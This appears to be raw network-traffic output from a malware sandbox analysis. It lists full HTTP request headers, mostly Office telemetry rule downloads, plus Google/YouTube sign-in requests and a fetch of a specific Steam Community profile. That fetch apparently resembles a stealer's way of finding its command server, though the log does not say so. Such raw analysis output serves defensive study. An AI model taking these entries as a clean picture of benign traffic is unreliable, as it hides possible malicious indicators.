Source: global traffic	HTTP traffic detected: GET /account?=https%3A%2F%2Faccounts.google.com%2Fv3%2Fsignin%2Fchallenge%2Fpwd HTTP/1.1Host: www.youtube.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=-267163924&timestamp=1728264202403 HTTP/1.1Host: accounts.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-arch: "x86"sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-model: ""sec-ch-ua-bitness: "64"sec-ch-ua-wow64: ?0sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: iframeReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
